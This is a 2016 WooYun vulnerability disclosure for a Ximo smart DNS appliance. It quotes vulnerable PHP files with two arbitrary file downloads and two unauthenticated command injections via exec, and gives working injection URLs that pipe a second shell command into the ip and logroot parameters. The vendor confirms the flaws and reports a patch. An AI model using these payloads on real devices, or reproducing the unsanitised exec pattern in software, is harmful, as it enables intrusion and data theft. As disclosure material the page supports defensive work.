当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(15) 关注此漏洞

缺陷编号: WooYun-2016-168096

漏洞标题: 西默科技智能DNS设备两处任意文件遍历&两处任意命令执行(无需登录)

相关厂商: 上海西默通信技术有限公司

漏洞作者: YY-2012

提交时间: 2016-01-07 16:32

公开时间: 2016-01-28 17:30

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 设计缺陷/边界绕过 逻辑错误

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-07: 细节已通知厂商并且等待厂商处理中
2016-01-11: 厂商已经确认,细节仅向厂商公开
2016-01-14: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-06: 细节向核心白帽子及相关领域专家公开
2016-03-16: 细节向普通白帽子公开
2016-03-26: 细节向实习白帽子公开
2016-01-28: 细节向公众公开

简要描述:

通杀西默科技智能DNS多款型号

详细说明:

第一处任意文件遍历(js/log/down.php):

code 区域
<?php
$file = $_GET['file'];
$filename = basename($_GET['file']);
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"".$filename."\"");
readfile($_GET['file']);
?>





第二处任意文件遍历(/mobile/down.php):

code 区域
<?php
include ('../include/comm.php');
checklogin();
//checkac();
$file = $_REQUEST['file'];
$filename = basename($_REQUEST['file']);

$fp=fopen($file,"r");
$file_size=filesize($file);
//下载文件需要用到的头
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");

Header("Content-Length:" .$file_size);
Header("Content-Disposition: attachment; filename=\"".$filename."\"");
$buffer=1024;
$file_count=0;
//向浏览器返回数据
while(!feof($fp) && $file_count<$file_size){
$file_con=fread($fp,$buffer);
$file_count+=$buffer;
echo $file_con;
//readfile($file);
//readfile($file_con);
}
fclose($fp);

?>





第一处任意命令执行(host/mohost.php):

code 区域
<?
header('Content-Type:text/html;charset=GB2312');
error_reporting(0);
echo getstate($_GET['ip'],$_GET['mtype'],$_GET['murl']);


function getstate($ip,$type,$url){
if($type=='url'){
if(($a=file_get_contents( "http://".$url ))){
return "正常状态";
}else {
return "不通状态";
}
}
if($type=='ping'){

if(stristr($ip,":")){
exec( "ping6 -c3 ".$ip, $ping);
$ping = join( "<br>", $ping );
if (stristr($ping,"100% packet loss") or $ping==NULL){
return "不通状态";
}else{
return "正常状态";
}

}else{
exec( "ping -c3 ".$ip, $ping);
$ping = join( "<br>", $ping );
if (stristr($ping,"100% packet loss")){
return "不通状态";
}else{
return "正常状态";
}
}
}



利用方式:host/mohost.php?mtype=ping&ip=fe80::|touch%20a.txt



第二处任意命令执行(log/test.php):

code 区域
<?php
if(!empty($_POST["date"])){
$date = $_POST["date"];
setcookie("d",$date,time()+3600);
}else{
$date = $_COOKIE["d"];
}
//
$hour = $date.'-'.$_POST["hour"];
//
$date=substr($date,2);
$date=str_replace('-','',$date);
$LOGROOT = $_POST["logroot"];
exec("ls -l ".$LOGROOT.$date."/|awk '{if(length($9)<19 && length($9)>0)print$9}'|awk -F \"-\" '{if($4!=\"\")print$4}'|sort -nu",$ret);
exec("ls -l ".$LOGROOT.$date."/|awk '/".$hour."/{if(length($9)<19 && length($9)>0)print$9}'|awk -F \"-\" '{print$5}'",$ret_1);
$option['hour'] = '<option>小时选择</option>';
foreach($ret as $value){
$option['hour'] .= '<option class="hour" value='.$value.'>'.$value.'</option>';
}
$option['minute'] = '<option>分钟选择</option>';
foreach($ret_1 as $value_1){
$option['minute'] .= '<option value='.$value_1.'>'.$value_1.'</option>';
}
echo json_encode($option);
/*
get_file_name("/xmdns/var/log/logtest/");
*/
?>



参数logroot直接带进exec,直接构成命令执行。

利用方式:log/test.php?date=1&hour=2&logroot=|touch aaa.txt|ls



漏洞证明:

第一处任意文件遍历(js/log/down.php):

aaaaaaaaaaaaaaaa22222222222222222222222.jpg



第二处任意文件遍历(/mobile/down.php):

aaaaaaaaaaaaaaaa11111111111111111111111111.jpg





第一处任意命令执行(host/mohost.php)

**.**.**.**/host/mohost.php?mtype=ping&ip=fe80::|touch%20a.txt

因没回显,直接生成a.txt

aaaaaaaaaaaaaaaaaa333333333333333333333.jpg





第二处任意命令执行(log/test.php):

**.**.**.**/log/test.php?date=1&hour=2&logroot=|touch aaa.txt|ls

因不没回显,直接生成aaa.txt

aaaaaaaaaaaaaaaaa44444444444444444444.jpg





案例:

code 区域
https://**.**.**.**/
**.**.**.**/
**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
https://**.**.**.**/
**.**.**.**/
**.**.**.**/
https://**.**.**.**/
**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
**.**.**.**/
https://**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
**.**.**.**/
**.**.**.**/
https://**.**.**.**/
**.**.**.**/
https://**.**.**.**/
**.**.**.**/
**.**.**.**/
https://**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
https://**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
https://**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
https://**.**.**.**/





aaaaaaaaaaaaaaaaaaa5555555555555555555.jpg

修复方案:

你们懂的。

版权声明:转载请注明来源 YY-2012@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-01-11 16:10

厂商回复:

感谢YY-2012发现问题并反馈,公司研发团队已确认该漏洞,并已发布升级包。该漏洞存在旧版本中,请用户尽快升级到最新版本,如有问题,请联系我们提供技术支持,联系电话:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

登录后才能发表评论,请先 登录